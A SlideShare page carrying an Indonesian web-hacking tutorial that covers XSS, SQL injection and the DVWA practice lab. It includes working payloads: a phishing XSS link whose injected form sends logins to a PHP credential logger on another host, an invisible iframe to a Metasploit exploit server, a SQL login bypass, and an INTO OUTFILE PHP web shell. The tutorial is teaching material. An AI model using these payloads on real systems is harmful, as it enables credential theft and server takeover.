Packet analysis (Basic)Ammar WK
 

Viewers also liked (20)

backdooring workshop
backdooring workshopbackdooring workshop
backdooring workshop
 
Backtrack 5 - network pentest
Backtrack 5 - network pentestBacktrack 5 - network pentest
Backtrack 5 - network pentest
 
Mobile hacking, pentest, and malware
Mobile hacking, pentest, and malwareMobile hacking, pentest, and malware
Mobile hacking, pentest, and malware
 
Backtrack 5 - web pentest
Backtrack 5 - web pentestBacktrack 5 - web pentest
Backtrack 5 - web pentest
 
Linux Exploit Research
Linux Exploit ResearchLinux Exploit Research
Linux Exploit Research
 
Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008Mastering Network HackingFU - idsecconf2008
Mastering Network HackingFU - idsecconf2008
 
Seminar Hacking & Security Analysis
Seminar Hacking & Security AnalysisSeminar Hacking & Security Analysis
Seminar Hacking & Security Analysis
 
Ethical hacking
Ethical hackingEthical hacking
Ethical hacking
 
Advanced Exploit Development (Updated on 28 January, 2016)
Advanced Exploit Development (Updated on 28 January, 2016)Advanced Exploit Development (Updated on 28 January, 2016)
Advanced Exploit Development (Updated on 28 January, 2016)
 
webhacking
webhackingwebhacking
webhacking
 
Penetrasi Jaringan
Penetrasi JaringanPenetrasi Jaringan
Penetrasi Jaringan
 
password series
password seriespassword series
password series
 
Layer 7 denial of services attack mitigation
Layer 7 denial of services attack mitigationLayer 7 denial of services attack mitigation
Layer 7 denial of services attack mitigation
 
Exploit Development with Python
Exploit Development with PythonExploit Development with Python
Exploit Development with Python
 
Pentesting with linux
Pentesting with linuxPentesting with linux
Pentesting with linux
 
iCrOSS 2013_Pentest
iCrOSS 2013_PentestiCrOSS 2013_Pentest
iCrOSS 2013_Pentest
 
Playin with Password
Playin with PasswordPlayin with Password
Playin with Password
 
Had sec mikrotik administrator
Had sec mikrotik administratorHad sec mikrotik administrator
Had sec mikrotik administrator
 
Syllabus Advanced Exploit Development 22-23 June 2013
Syllabus Advanced Exploit Development 22-23 June 2013Syllabus Advanced Exploit Development 22-23 June 2013
Syllabus Advanced Exploit Development 22-23 June 2013
 
Packet analysis (Basic)
Packet analysis (Basic)Packet analysis (Basic)
Packet analysis (Basic)
 

Similar to Web Hacking (basic)

Tugas keamanan sistem informasi4
Tugas keamanan sistem informasi4Tugas keamanan sistem informasi4
Tugas keamanan sistem informasi4James Montolalu
 
Investigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server ApacheInvestigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server ApacheMark Thalib
 
Ssl presentation verindo_rev_sholeh
Ssl presentation verindo_rev_sholehSsl presentation verindo_rev_sholeh
Ssl presentation verindo_rev_sholehMuchammad Sholeh
 
Basic Web Exploit Development
Basic Web Exploit DevelopmentBasic Web Exploit Development
Basic Web Exploit DevelopmentRiswanda N.S
 
#15 Web Security bisnis digital belajar pemograman.pptx
#15 Web Security bisnis digital belajar pemograman.pptx#15 Web Security bisnis digital belajar pemograman.pptx
#15 Web Security bisnis digital belajar pemograman.pptxIDELSAMANGUN
 
Broken Authentication and Session Manajement
Broken Authentication and Session ManajementBroken Authentication and Session Manajement
Broken Authentication and Session ManajementRaka Septa
 
Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...
Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...
Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...Martina Melissa
 
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...Sasi Ngatiningrum
 
Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...
Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...
Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...Nurfanida Hikmalia
 
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...ameliaangesti
 
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...EsTer Rajagukguk
 
Bruteforce basic (paper) - linx
Bruteforce basic (paper) - linxBruteforce basic (paper) - linx
Bruteforce basic (paper) - linxidsecconf
 
Laporan web
Laporan webLaporan web
Laporan webrhizky
 
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi KeamananSIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanannadiapuji98
 

Similar to Web Hacking (basic) (20)

Tugas keamanan sistem informasi4
Tugas keamanan sistem informasi4Tugas keamanan sistem informasi4
Tugas keamanan sistem informasi4
 
Investigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server ApacheInvestigasi Serangan Terhadap Website Pada Web Server Apache
Investigasi Serangan Terhadap Website Pada Web Server Apache
 
Ssl presentation verindo_rev_sholeh
Ssl presentation verindo_rev_sholehSsl presentation verindo_rev_sholeh
Ssl presentation verindo_rev_sholeh
 
Basic Web Exploit Development
Basic Web Exploit DevelopmentBasic Web Exploit Development
Basic Web Exploit Development
 
Keamanan komputer - Dasar XSS
Keamanan komputer - Dasar XSSKeamanan komputer - Dasar XSS
Keamanan komputer - Dasar XSS
 
#15 Web Security bisnis digital belajar pemograman.pptx
#15 Web Security bisnis digital belajar pemograman.pptx#15 Web Security bisnis digital belajar pemograman.pptx
#15 Web Security bisnis digital belajar pemograman.pptx
 
Broken Authentication and Session Manajement
Broken Authentication and Session ManajementBroken Authentication and Session Manajement
Broken Authentication and Session Manajement
 
Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...
Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...
Sipi, martina melissa, prof. hapsi ali, definisi &amp; jenis penyerangan &amp...
 
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
Si & Pi, sasi ngatiningrum, hapzi ali, penyerangan serta penyalahgunaan kompu...
 
Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...
Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...
Sim, nurfanida putri hikmalia, hapzi ali,information security,universitas mer...
 
Cara Mengamankan Server OJS
Cara Mengamankan Server OJSCara Mengamankan Server OJS
Cara Mengamankan Server OJS
 
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
 
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
Sim, ester, hapzi ali, keamanan sistem informasi, universitas mercu buana, 20...
 
Bruteforce basic (paper) - linx
Bruteforce basic (paper) - linxBruteforce basic (paper) - linx
Bruteforce basic (paper) - linx
 
Chapter 7 security web
Chapter 7 security webChapter 7 security web
Chapter 7 security web
 
web-security
web-securityweb-security
web-security
 
Dasar web dan html
Dasar web dan htmlDasar web dan html
Dasar web dan html
 
Laporan web
Laporan webLaporan web
Laporan web
 
Dasar web dan html
Dasar web dan htmlDasar web dan html
Dasar web dan html
 
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi KeamananSIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
 

More from Ammar WK

Vvdp-fgd-bssn
Vvdp-fgd-bssnVvdp-fgd-bssn
Vvdp-fgd-bssnAmmar WK
 
Pen-testing is Dead?
Pen-testing is Dead?Pen-testing is Dead?
Pen-testing is Dead?Ammar WK
 
How To [relatively] Secure your Web Applications
How To [relatively] Secure your Web ApplicationsHow To [relatively] Secure your Web Applications
How To [relatively] Secure your Web ApplicationsAmmar WK
 
A Journey Into Pen-tester land: Myths or Facts!
A Journey Into Pen-tester land: Myths or Facts!A Journey Into Pen-tester land: Myths or Facts!
A Journey Into Pen-tester land: Myths or Facts!Ammar WK
 
Cybercrime: A threat to Financial industry
Cybercrime: A threat to Financial industryCybercrime: A threat to Financial industry
Cybercrime: A threat to Financial industryAmmar WK
 
Bugbounty vs-0day
Bugbounty vs-0dayBugbounty vs-0day
Bugbounty vs-0dayAmmar WK
 
Advanced Persistent Threat
Advanced Persistent ThreatAdvanced Persistent Threat
Advanced Persistent ThreatAmmar WK
 
Hacker? : it's not about Black or White
Hacker? : it's not about Black or WhiteHacker? : it's not about Black or White
Hacker? : it's not about Black or WhiteAmmar WK
 
Introduction to IOS Application Penetration Testing
Introduction to IOS Application Penetration TestingIntroduction to IOS Application Penetration Testing
Introduction to IOS Application Penetration TestingAmmar WK
 
Network Packet Analysis
Network Packet AnalysisNetwork Packet Analysis
Network Packet AnalysisAmmar WK
 
Network security
Network securityNetwork security
Network securityAmmar WK
 
Penetration testing
Penetration testingPenetration testing
Penetration testingAmmar WK
 
Information Security Professional
Information Security ProfessionalInformation Security Professional
Information Security ProfessionalAmmar WK
 
Handout infosec defense-mechanism-y3dips
Handout infosec defense-mechanism-y3dipsHandout infosec defense-mechanism-y3dips
Handout infosec defense-mechanism-y3dipsAmmar WK
 
How To Become A Hacker
How To Become A HackerHow To Become A Hacker
How To Become A HackerAmmar WK
 
y3dips - Who Own Your Sensitive Information?
y3dips - Who Own Your Sensitive Information?y3dips - Who Own Your Sensitive Information?
y3dips - Who Own Your Sensitive Information?Ammar WK
 
idsecconf2010-hacking priv8 network
idsecconf2010-hacking priv8 networkidsecconf2010-hacking priv8 network
idsecconf2010-hacking priv8 networkAmmar WK
 
Attacking Blackberry For Phun and Profit
Attacking Blackberry For Phun and ProfitAttacking Blackberry For Phun and Profit
Attacking Blackberry For Phun and ProfitAmmar WK
 
Art of Backdooring: Technique and Practice
Art of Backdooring: Technique and PracticeArt of Backdooring: Technique and Practice
Art of Backdooring: Technique and PracticeAmmar WK
 
Art of Thinking [Re-write]
Art of Thinking [Re-write]Art of Thinking [Re-write]
Art of Thinking [Re-write]Ammar WK
 

More from Ammar WK (20)

Vvdp-fgd-bssn
Vvdp-fgd-bssnVvdp-fgd-bssn
Vvdp-fgd-bssn
 
Pen-testing is Dead?
Pen-testing is Dead?Pen-testing is Dead?
Pen-testing is Dead?
 
How To [relatively] Secure your Web Applications
How To [relatively] Secure your Web ApplicationsHow To [relatively] Secure your Web Applications
How To [relatively] Secure your Web Applications
 
A Journey Into Pen-tester land: Myths or Facts!
A Journey Into Pen-tester land: Myths or Facts!A Journey Into Pen-tester land: Myths or Facts!
A Journey Into Pen-tester land: Myths or Facts!
 
Cybercrime: A threat to Financial industry
Cybercrime: A threat to Financial industryCybercrime: A threat to Financial industry
Cybercrime: A threat to Financial industry
 
Bugbounty vs-0day
Bugbounty vs-0dayBugbounty vs-0day
Bugbounty vs-0day
 
Advanced Persistent Threat
Advanced Persistent ThreatAdvanced Persistent Threat
Advanced Persistent Threat
 
Hacker? : it's not about Black or White
Hacker? : it's not about Black or WhiteHacker? : it's not about Black or White
Hacker? : it's not about Black or White
 
Introduction to IOS Application Penetration Testing
Introduction to IOS Application Penetration TestingIntroduction to IOS Application Penetration Testing
Introduction to IOS Application Penetration Testing
 
Network Packet Analysis
Network Packet AnalysisNetwork Packet Analysis
Network Packet Analysis
 
Network security
Network securityNetwork security
Network security
 
Penetration testing
Penetration testingPenetration testing
Penetration testing
 
Information Security Professional
Information Security ProfessionalInformation Security Professional
Information Security Professional
 
Handout infosec defense-mechanism-y3dips
Handout infosec defense-mechanism-y3dipsHandout infosec defense-mechanism-y3dips
Handout infosec defense-mechanism-y3dips
 
How To Become A Hacker
How To Become A HackerHow To Become A Hacker
How To Become A Hacker
 
y3dips - Who Own Your Sensitive Information?
y3dips - Who Own Your Sensitive Information?y3dips - Who Own Your Sensitive Information?
y3dips - Who Own Your Sensitive Information?
 
idsecconf2010-hacking priv8 network
idsecconf2010-hacking priv8 networkidsecconf2010-hacking priv8 network
idsecconf2010-hacking priv8 network
 
Attacking Blackberry For Phun and Profit
Attacking Blackberry For Phun and ProfitAttacking Blackberry For Phun and Profit
Attacking Blackberry For Phun and Profit
 
Art of Backdooring: Technique and Practice
Art of Backdooring: Technique and PracticeArt of Backdooring: Technique and Practice
Art of Backdooring: Technique and Practice
 
Art of Thinking [Re-write]
Art of Thinking [Re-write]Art of Thinking [Re-write]
Art of Thinking [Re-write]
 

Web Hacking (basic)

  • 2. ATTACK VECTOR 1 Pada BAB ini akan dibahas mengenai jenis-jenis serangan yang umumnya terjadi dan dimanfaatkan oleh attacker untuk dapat melakukan serangan terhadap infrastruktur web. Ahmad Muammar, OSCP (C) 2013
  • 3. Section 1 CROSS SITE Cross Site Scripting (XSS) Cross Site Scripting atau lebih dikenal dengan XSS adalah sa- SCRIPTING (XSS) lah satu jenis serangan terhadap web aplikasi dengan tipe in- jeksi, umumnya akan mengakibatkan kode-kode berbahaya da- pat disisipkan pada web asli dan resmi. Jenis serangan ini umumnya terjadi dikarenakan apikasi web tidak melakukan validasi dan encoding terhadap input yang dib- Daftar Isi erikan oleh user dan langsung men-generate-nya kembali. 1. Cross Site Scripting (XSS) 2. Tipe XSS 1. Reflected XSS 2. Persistent XSS (Gambar Celah XSS pada situs Paypal) XSS dapat terjadi apabila: 2
  • 4. 1. Data yang diinputkan ke web aplikasi dilakukan melalui sum- cara benar melakukan parsing atau pembatasan terhadap tag ber yang tidak terpercaya, dan umumnya berupa request ke HTML, maka akan terjadilah celah keamanan ini. web aplikasi. Untuk memanfaatkan celah ini lebih lanjut, umumnya celah re- 2. Data di proses kedalam konten dinamik yang di kirim ke flected ini akan di kombinasikan dengan jenis serangan lain pengguna web tanpa terlebih dahulu di validasi. seperti phishing, dimana attacker akan mengirimkan email be- rupa alamat URL situs yang legitimate tetapi mengandung XSS payload yang akan di eksekusi oleh target. TIPE XSS Berikut adalah contoh situs yang memiliki celah keamanan Belum ada kesepeakatan berapa jumlah tipe/jenis XSS yang Cross Site Scripting (XSS) Reflected ada, tetapi pada umumnya terdapat beberapa tipe Cross Site Scipting yaitu: 1. Non-Persistent Tipe non-persistent atau lebih sering dikenal dengan tipe re- flected ini adalah yang paling banyak di temui, tipe ini akan me- nampilkan celah XSS sewaktu data diinput via browser, pada umumnya celah yang dieksploitasi merupakan paramater query HTTP atau HTML form submissions yang akan di proses oleh server-side dan ditampilkan kembali ke klien seperti pada gam- bar 1. Umumnya celah keamanan ini ditemukan pada halaman pen- carian, karena hasil dari pencarian akan di tampilkan kembali ke user, dan apabila response yang akan dikirimkan tidak se- 3
  • 5. Pada contoh diatas attacker melakukan ujicoba dengan me- Seperti disinggung diatas, umumnya celah keamanan ini diman- masukkan “<h1>XSS</h1>” ke dalam input box untuk pen- faatkan untuk melakukan serangan phishing atau social engi- carian, dan apabila ternyata memiliki celah keamanan XSS, neering terhadap user/pengguna sah dari suatu situs, sebagai maka akan menampilkan versi Header 1 untuk kata-kata “XSS” contoh adalah user akan di kirimi link untuk melakukan login, seperti berikut ini: karena user hanya memeriksa nama domain dan tanpa me- meriksa keseluruhan link, atau attacker umumnya akan men- girimkan link yang sudah di perpendek dengan layanan “short url”untuk memperbesar kemungkinan user menjadi percaya. Berikut adalah contoh payload XSS dalam serangan yang umumnya digunakan oleh attacker. Attacker akan mengirimkan link berikut ini: http://192.168.1.209/omega-bank/result.php?teks=%3Cbr%3E%3Cbr% 3EPlease+login+with+the+form+below+to%20get%20the%20result:%3 Cform+action%3Dhttp://192.168.1.210/getlogin.php%3E%3Ctable%3E %3Ctr%3E%3Ctd%3ELogin:%3C/td%3E%3Ctd%3E%3Cinput+type%3 Dtext+length%3D20+name%3Dlogin%3E%3C/td%3E%3C/tr%3E%3Ctr %3E%3Ctd%3EPassword:%3C/td%3E%3Ctd%3E%3Cinput+type%3Dt ext+length%3D20+name%3Dpassword%3E%3C/td%3E%3C/tr%3E%3 C/table%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C/for m%3E&password=&submit=Submit Atau apabila di perpendek dengan url-shortener menjadi http://bit.ly/result dan sebagainya, yang apabila di klik oleh user akan menjadi seperti gambar berikut ini: 4
  • 6. yaitu file getlogin.php yang dalam hal ini akan akan di simpan pada web yang beralamat di http://192.168.1.210 <?php $login = $_GET['login']; $password = $_GET['password']; $fp = fopen("data.txt", "a"); fwrite($fp, “login: ”.$login."| password:".$password. "n"); fclose($fp); ?> Seluruh informasi login user akan di simpan kedalam file data.txt, yang apabila ada user yang melakukan login, maka file data akan mulai terisi dengan format sebagai berikut: Maka saat diakses user, dia akan di bawa ke web resmi, den- gan halaman yang menjadi berisikan halaman login (pada hala- man resmi pencarian), dibanding serangan web phishing den- gan fake sites, celah ini akan lebih valid dan juga bisa memby- pass situs yang mempergunakan SSL-based Kemudian, sesuai dengan payload yang dikirimkan, attacker te- lah membuat web yang akan mengambil seluruh login yang masuk nantinya. Tetapi, dengan semakin meningkatnya keamanan browser maka dari sisi web browser sendiri melakukan filtering terhadap Berikut ini skrip sederhana yang bisa dipergunakan oleh at- celah keamanan seperti ini, dalam hal ini cross domain policy. tacker untuk mengambil informasi login dan password dari user, Selain hal diatas, attacker juga dapat melakukan hal lain, 5
  • 7. seperti menyisipkan link yang apabila user mengklik link terse- Attacker menggunakan tag HTML “<b>” untuk mencetak tebal but akan dibawa kehalaman yang memang sudah di persiap- kata-kata yang dimasukkan pada buku tamu, dan akan disim- kan sama persis seperti aslinya, tanpa melakukan cross- pan oleh server, saat ada pengguna lain yang mengakses buku domain request. tamu, maka dia akan mendapati pesan dengan teks tebal yang di tulis attacker. 2. Persistent Umumnya, jenis serangan yang paling berbahaya dan meman- Tipe yang kedua adalah Persistent XSS, hal ini terjadi apabila faatkan celah XSS tipe ini adalah attacker dapat menyisipkan data yang dimasukkan attacker akan disimpan oleh server dan link dalam tag <iframe> yang akan mengakibatkan user secara secara permanen ditampilkan saat halaman web tersebut di otomatis mengakses web yang telah di setup oleh attacker ber- buka. isi kode untuk mengeksploitasi browser yang dipergunakan Celah keamanan yang banyak terjadi adalah pada halaman oleh user. Buku Tamu dan juga forum diskusi. Berikut adalah contoh web Celah persistent XSS ini jauh lebih berbahaya bagi user dari su- dengan celah keamanan Cross Site Scripting (XSS) Persistent. atu situs web yang memiliki celah, karena pengguna yang men- gakses akan mengeksekusi XSS payload yang di render oleh server, sehingga seluruh user yang mengakses web tersebut akan rentan terkena serangan ini. Berikut adalah contoh skenario yang dilakukan oleh attacker un- tuk mengambil alih komputer target memanfaatkan celah XSS tipe persistent pada salah satu web dan memanfaatkan celah keamanan pada versi browser yang tidak terupdate. Pertama-tama attacker akan menghost browser exploit pada sa- lah satu situs, dalam hal ini http://192.168.1.99:8080/rOPBgX dan kemudian menuliskan ke dalam Buku tamu pada website yang bercelah dengan tag <iframe 6
  • 8. src=http://192.168.1.99:8080/rOPBgX width=0 height=0 ></ Sedangkan disisi target adalah akan tampak kurang lebih iframe> seperti berikut ini: Cara termudah bagi attacker untuk mensetup web dengan Victim akan mengakses link buku tamu (guestbook) dan tanpa browser exploit adalah menggunakan Metasploit, khususnya sadar mengakses iframe yang di set tidak terlihat dengan size mempergunakan modul , browser_autopwn, tetapi hal ini akan “0” untuk kemudian mengakses situs yang telah kita siapkan be- mengakibatkan seluruh exploit di jalankan oleh Metasploit dan serta exploit untuk bwosernya. berakibat akan sangat kontra-produktif. Sehingga, untuk contoh berikut ini saya hanya mempergunakan 1 exploit yang umumnya menyerang browser Internet Explorer msf > info exploit/windows/browser/ie_createobject Name: Internet Explorer COM CreateObject Code Execution Module: exploit/windows/browser/ie_createobject Version: 15188 Platform: Windows Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Untuk menjalankan eksploitnya, attacker perlu melakukan set beberapa variabel, khususnya URIPATH /rOPBgX, dan selanjut- nya membiarkan metasploit menjalankan servernya dan menunggu target mengakses link <iframe> yang kita masuk- kan. Sedangkan disisi Attacker, maka akan mendapatkan koneksi dari target, dan proses eksploitasi browser pun berjalan. 7
  • 9. Dan seperti yang telah kita lihat, attacker telah berhasil men- gambil alih komputer user/target yang mengakses web berisi buku tamu tersebut. :) 8
  • 10. Section 2 SQL Injection SQL Injection SQL injection adalah salah satu Attack vector yang sangat ser- ing dimanfaatkan oleh attacker untuk menyerang suatu web aplikasi khususnya pada layer database. Jenis serangan ini dilakukan dengan memasukkan perintah- Daftar Isi perintah SQL kedalam “request/query” yang dilakukan ke aplikasi web dan akan diteruskan ke server database dengan 1. SQL Injection perintah SQL yang telah di modifikasi. ! 1.1 Tipe Ancaman Kerentanan ini terjadi ketika semua input yang di masukkan 2. Implementasi Teknis oleh pengguna tidak difilter secara baik. Umumnya serangan ini digunakan untuk merubah dan memodifikasi data didalam data- ! 2.1 Incorrectly filtered escape characters base atau untuk menampilkan (dump) isi dari database yang berisi informasi login user dan password atau data kartu kredit. ! 2.2 Incorrect Type Handling 1.1. Tipe Ancaman ! 2.3 SQL Injection Dan berikut ini adalah tabel Tipe ancaman yang mungkin terjadi terhadap layer database dengan jenis serangan SQL injection 9
  • 11. Tipe Ancaman Contoh SQL injection Implementasi Teknis Mengambil dan menggunakan informasi Berikut ini adalah beberapa implementasi secara teknis jenis Spoofing kredential user lain, memodifikasi value serangan SQL Injection yang umum terjadi pada web aplikasi. pesan yang dibuat oleh penulis sah. Memodifikasi dan merubah data di 1. Incorrectly filtered escape characters Tampering database Tipe SQL Injection ini terjadi apabila pada tempat form input ti- Menghapus event log database, dak terdapat filter yang akan melakukan pemeriksaan terhadap Repudiation menghapus transaction records karakter-karakter yang seharusnya tidak boleh dipergunakan Mendapatkan informasi kartu kredit, dan (escape characters) dan yang dimasukkan pengguna. Information mendapatkan gambaran secara internal Disclosure dari suatu aplikasi Escape characters, salah satu contohnya ‘ (single quote) ini Menjalankan perintah SQL yang juga umumnya yang dipergunakan oleh attacker untuk mende- Denial Of Service teksi apakah suatu web aplikasi memiliki celah SQL Injection, menghabiskan sumber daya. sebagai contoh memasukkan karakter single quote ke input us- Menjalankan perintah shell, melakukan teknik privileges escalation untuk ername akan menampilkan error sebagai berikut: Elevation of Privilige mendapatkan credentials yang menjalankan mysql (root/administrator) (Tabel 1, Jenis Tipe ancaman dan contoh SQL Injection) Dengan adanya error, mengindikasikan bahwa web aplikasi memiliki celah SQL Injection dikarenakan tidak melakukan filter terhadapescape characters. 10
  • 12. Serangan terjadi umumnya pada form yang membutuhkan inpu- FROM users WHERE name = '" + username + "'; , dan yang tan dari user, sebagai contoh form untuk login. Attacker akan terkirim ke database server adalah : SELECT * FROM us- umumnya memasukkan karakter yang akan di proses oleh SQL ers WHERE name = '' OR '1'='1'; Server, contoh yang sudah sangat umum adalah membypass Dan apabila tidak ada filter terhadap escape charater, maka login dengan memanfaatkan perintah SQL. SQL akan mengijinkan attacker untuk bisa login ke halaman user, seperti gambar berikut ini: 2. Incorrect Type Handling Perintah SQL yang umumnya dipergunakan untuk membypass login adalah dengan memasukkan inputan untuk username yaitu ‘ or ‘1’ = ‘1. Sehingga untuk statement SQL "SELECT * 3. 11
  • 13. Tipe yang kedua adalah incorrect type handling, celah kea- manan ini terjadi karena kesalahan aplikasi dalam mendefinisi- kan tipe, atau tidak adanya batasan tipe yang dimasukkan. Se- bagai contoh dibawah ini, seharusnya developer memasukkan tipe numeric sehingga inputan selain numeric akan di tolak dan tidak akan terjadi. Kemudian, pada gambar sebelumnya kita memasukkan perin- tah SQL “desc user” untuk di teruskan oleh aplikasi ke data- base, dan ternyata table user tidak tersedia didalam database “omega” dan kita mendapatkan nama databasenya. selanjutnya, berdasarkan hasil pertama percobaan , kita menge- Seperti biasa, untuk melakukan pemeriksaan kemungkinan ce- tahui bahwa semua perintah SQL akan di lanjutkan oleh web lah sql injection bisa juga dilakukan dengan menggunakan es- aplikasi ke database server. Sehingga, salah satu serangan cape characters yang dalam hal ini adalah ‘ (single-quote) yang yang cukup bermanfaat dan bisa kita lakukan selain melakukan merupakan flase argument, dan kita mengharapkan error. dump data-data di database adalah memanfaatkan perintah 12
  • 14. menulis ke file dengan fungsi INTO OUTFILE untuk mendapat- 2. Selanjutnya adalah memasukkan payload ke dalam tabel kan akses ke-shell. DOO Adapun langkah yang kita tempuh adalah dengan membuat se- insert into foo(doo) values ('<?php system($_RE- buah tabel mysql yang akan kita isikan payload backdoor php QUEST["cmd"]); ?>'); dan natinya akan kita tulisi ke file php. 1. Langkah pertama adalah membuat tabel dengan perintah: create table foo(doo text) 3.Kemudian kita tulis ke file dengan fungsi INSERT INTO ke da- lam file yang terdapat didalam direktori web, select * into outfile '/var/www/omega-bank/upload/bobi.php' from foo; 13
  • 15. 4. Selanjutnya untuk mengakses backdoor, kita bisa mengak- sesnya di URL backdoor tersebut kita tulisi, yaitu: Selanjutnya anda bisa mendownload backdoor yang lebih kom- plek lagi seperti backdoor metasploit meterpreter, dan kemu- http://192.168.1.209/omega-bank/upload/bobi.php?cmd=id dian menjalankan local exploit untuk menjadi root/administrator, atau kegiatan untuk escalating privileges lainnya yang mungkin dapat anda lakukan. 14
  • 16. DVWA 2 Pada BAB ini akan dibahas mengenai jenis-jenis serangan yang umumnya terjadi dan dimanfaatkan oleh attacker untuk dapat melakukan serangan terhadap infrastruktur web dan disimulasikan dengan DVWA. Ahmad Muammar, OSCP (C) 2013
  • 17. Section 1 DVWA DVWA DVWA atau Damn Vulnerable Web Application adalah aplikasi web yang sengaja dibuat dan memiliki celah keamanan dengan bahasa pemrograman PHP dan database engine MySQL. Daftar Isi 1. DVWA 2. Vulnerability Exploitation 1. HTTP form based Bruteforce 2. Command Execution 3. CSRF (Cross site Request Forgery) 4. File Inclusion 5. SQL Injection 6. BLind SQL Injection 7. Upload 8. XSS Reflected 9. XSS Persistent 16
  • 18. Tujuannya dibuatnya DVWA adalah sebagai “bantuan” untuk Selain dilengkapi dengan celah-celah keamanan, aplikasiini para profesional keamanan dalam menguji keterampilan juga dilengkapi dengan aplikasi IDS berbasis php, kemudian mereka, membantu pengembang web lebih memahami proses juga di lengkapi bantuan terkait celah keamanan pada pojok untuk dapat mengamankan aplikasi web dan bantuan untuk bagian bawah terdapat tombol veiw source dan view help. mempelajari keamanan aplikasi web. DVWA sendiri dapat di dowload di http://dvwa.co.uk dalam ben- tuk web aplikasi atau file ISO. Pada aplikasi DVWA terdapat beberapa celah keamanan yang dapat kita coba untuk di pelajari, diantaranya: 1. Http-form-based bruteforce Selain itu juga terdapat level security untuk DVWA, untuk dapat 2. Command Execution di eksploitasi dengan mudah maka gunakan setting Low pada DVWA Security. 3. CSRF (Cross site Request Forgery) 4. File Inclusion 5. SQL Injection 6. Blind SQL Injection 7. Upload 8. XSS Reflected 9. XSS Persistent Sebagai peringatan, jangan install aplikasi ini pada server production anda. Sebisa mungkin digunakan pada kom- puter yang terisolasi, sebaiknya gunakan ISO file saja. 17
  • 19. Untuk pembelajaran awal, gunakan setting Low pada level DVWA Security. Dan selanjutnya kita akan membahas satu per- satu cara untuk melakukan eksplotasi terhadap aplikasi DVWA ini. 18
  • 20. Section 2 Vulnerability Vulnerability Exploitation Exploitation Seperti yang sudah sedikit disinggung diatas untuk memulai me- lakukan eksploitasi terhadap tiap-tiap celah yang terdapat pada dvwa, maka kita harus melakukan setting level DVWA security, untuk tahap awal kita bisa men-set-nya menjadi Low, dan kemu- dian mencoba mengeksploitasi tiap-tiap celah keamanan. Daftar Isi 1. Http-form-based bruteforce 1. DVWA Celah pertama yang tersedia dan dapat kita coba untuk eksploi- 2. Vulnerability Exploitation tasi adalah celah Bruteforce, umumnya celah ini terdapat pada login form untuk yang form-based atau pada login http-auth, da- 1. HTTP form based Bruteforce lam hal ini celah keamanan bruteforce yang terdapat pada 2. Command Execution DVWA adalah http-form-based. 3. CSRF (Cross site Request Forgery) 4. File Inclusion 5. SQL Injection 6. BLind SQL Injection 7. Upload 8. XSS Reflected 9. XSS Persistent 19
